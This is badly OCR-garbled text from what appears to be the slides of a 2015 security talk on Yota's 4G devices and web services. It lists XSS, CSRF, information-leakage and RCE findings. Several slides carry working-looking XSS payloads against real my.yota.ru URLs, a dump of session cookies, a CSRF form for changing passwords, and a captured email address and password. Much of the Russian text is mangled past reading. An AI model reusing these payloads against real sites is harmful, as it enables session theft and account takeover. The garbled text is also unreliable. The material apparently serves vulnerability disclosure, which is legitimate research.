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WHAT IS 4G IN 20157

Modems, routers, moblle routers, patnes,
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'WHAT IS YOTA?

Most used YOTA devices:

Yotd_ua(simpleisbmodem)

YoteBwift (modemwifirouter) = /

YotaMlany (mobile router)
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AT IS YOTA?

Yotaveb interface:

208 < 5l & myyota.ru & (4]
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Yat Mpodwune Brixog
English

[ )
Yota

Npodwns Bankoeckwe kapTel [natexw Yota 4G

C NOMOLWLID PerynsTopa CKOPOCTH Bbl MOXETE HAacTPOMThL CKOPOCTE AOCTYN2 B MHTEPHET, BuiOpaTk
YCNOBWA NOAKMNOYEHHA WIK NOMEHATL MX B NOG0H MOMEHT 683 A0NONHWUTENLHOW ONNaTsl.

3TO BbIFOAHO - Bbl NNATWTE TOMILKO 38 TO, YTO BaM AEHCTBMTENLHO HYHHO.

CrouvmocTe yenyr oT 0 ao 1400 pyGneld B8 mecay. TpaduK He orpaHHYeH.

SIM Yota YnpasneHve yCTPOHCTBOM ananc | 48
Pyb.

Tekywme 350 64 EecnnaTHo MONONHWTE CHET €

CNoOBWA NpUBA3AHHOW KapThl
Y OHER OCTanock KEuTt/cek (Maxc.) P P

&2 MasterCard ... 1337

- &b

‘(,' >»>)» BuiSepure BeanuMuTHbIi Tapud BuicTpee oid py6.

Hogble MepemecTuTe perynATop CKOPOCTH ANA BLIOOPA HOBLIX YCNOBWA NOAKMIOYEHWA.

AT HDonnara He noTpebyerca. NpW ysenvMyYyeHMM MAaKCMMansHOW CKOpPOCTH
¥ KONMUYECTBO OCTABLWMXCA OHEH YMEHLLWMTCA, NP CHUMEHWW — YBENWUYMTCA.

OnNaTKTb C APYrod KapTel
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'WHAT IS YOTA?

ZERO

Yotasoftware:

MpunoxeHue Yota (Win)

Coemectvmo c Windows 8, Windows 7, Vista, XP (32-bit)

27 Wb

Cka4atk

Mpunoxerue Yota (Mac)

Coemectvmo ¢ Mac 05 X 10.5 Leopard (32-bit), 10.6 Snow Leopard (32-bit), 10.7 Lion, 10.8 Mountain

Lion, 1010 Yosemite
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CKa4aTh
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MNogkniyKTe YCTPOWCTEO

BanaHc
—> BoiTik B Npodrnb

JanaTte BONPOC
CrarucTrka

Beixon

MNogknrounTe yoTpoACTED

BanaHc
33aTk BONPOC

CTaTrcTrea
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ZERO NEGH?
WHATAN WETTACK?

A Yotaersonal cabinet (XSS, CSRF, Info Leakage
A YotaMany$ensitive InfeakagdrCIE

A YotsBwift (RCE)

A YotaAccess (Sensitive Info Leakage, RCE
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'WHATAN WETTACK?

A Yotaersonal cabinet (XSS, CSRF, Info Leakage
A YotaMany$ensitive InfeakagdrCIE

A YoteBwift (RCE)

A YotaAccess (Sensitive Info Leakage, RCE

.y 3 A
y &P . oA 3
! \ (o Y/ N A oK t 5
A e S R, & M At
VAN VAW
% 0 e "



2015

AR EATE
NIGHTS

'YOTA SERVICES

Even 1 XSS can compromise all your data

0@ ,"" (, Redirect to payment page .".|\-+
=,

Q Mouck wB O3 AD g =

(;'(- | @ es"><script>alert(document.domain)<%2fscript>142

my.yota.ru

Mepeaaya gaHHbiX ¢ my.yota.ru...
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'YOTA SERVICES

Even 1 XSS can compromise all your data

ra B
o0 [ € nttps:fjmyyo..localesruRU % | i httpy/fyota.nl../bug-xss.html ¥ | 4
i .

Mepenada gaHHbIX © My.yota.ru..,

( (- :- i, | https:imy.yota.ru/pluto/remote/roox.socialmappings.selfcare ?style=123" onErrorss3d alert{document.cookie) — | X Q, Mowex

w e 4+ A O Eovup-

JSESSIONID=84badaedc28fc9fb1b0fbi01 928b; FwdlLogin=188.93.215.12; _ga=GA1.2.1057339261.1448364670;
___utma=3126200.1057339261.1448364670.1448365017.1448365017.1; __utmb=3126200.1.10.1448365017; __utmc=3126200;
___utmz=3126200.1448365017.1.1. utmesr=(direct) utmcen=(direct) lutmemd={none); __utmt=1; _ym_uid=1448365018514380479;
_ym_isad=0; _ym_visorc_234101B3=w; amlbcookie=rxsse1; NSC_tp-zpubsv-mewtiswis-

iuug-80B0=fffffff090a96 0e45525d514158455e445a4a4229a0; dibcookie=rxlogini;

iPlanatDirectoryPro=AQIC5wWM2LY 4SfcxaOmhPOh2oBadF-
PbnjnAQSvwwEWBsGINE."AAJTSQACMDIAAINLAAKZNZUXODc4MTecAAIMAAIWMO..;
JSESSIONID=84bd6c72a33702eb%ealaci236d7
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YOTA SERVICES

0XSS I's boring, 11t

0@ 5 nttpyjyotahl. fbug-xss.html 3 [ i Redirectto payment page % | -+
__ Al b,

e0ce ."', x Yota - Bxog B Mpoduns  # \"'. +

v R

{f(-\} & | iframe src="https://my.yota.ru/selfcareflogin” onls = | @ = Q Mowck y Al = 4 H ©® §ErNoProxy~ =

{'(-\:- @ | hitps:imy.yota.ru/selicareflogin7goto=https%3A%2F — | @ O Mowck
-

Yor saved pass: 123123g

*
cyberpunkych@icloud.com

*
123123q

CHpHITL Naponk 3abbinu napons?

Boiitv B npodune  »

javascript:void(0);
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YOTA SERVICES

Just another CSRF with password change

@ @ http:/fyota.hl.../bug-xss.html Yota - C i
$ (2] ‘ota.n - gl g [+ MeHa napona . . untitled UhﬁESlSTEqu
& | @  httpsz/my.yota.ru/selfcare/setPassword [ Mowmck
untitled
x MameHeHue napons
. - (1] [ 1] (1] n
Y [ns paweil 6e30NacCHOCTH M3MEHWTE Naponk ANA Bx0aa B JIMYHLIR Kabu actlion= httpﬁ: l.l",.l"l'l'l'l:‘". :."I:}ta . FU;SELTL"E FE;SEtPESSHG r‘d |T|Et|"|[ld= PDST =]
ota type="hidden" name="password" value="_new_password_" /=
type="hidden" name="pconfirm" wvalue="_new_password " /=
HoBbiit naponsb type="submit" wvalue="Submit request" />

MoareepxaeHue napona

CoxpaHWTb

3 selection regions Tab Size: 4

Thnyotaupport with this bug ;)
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YOTA SERVICES

Get user os bal ance

...and other small bugs with info leakage, butyolhmantr e c oo |



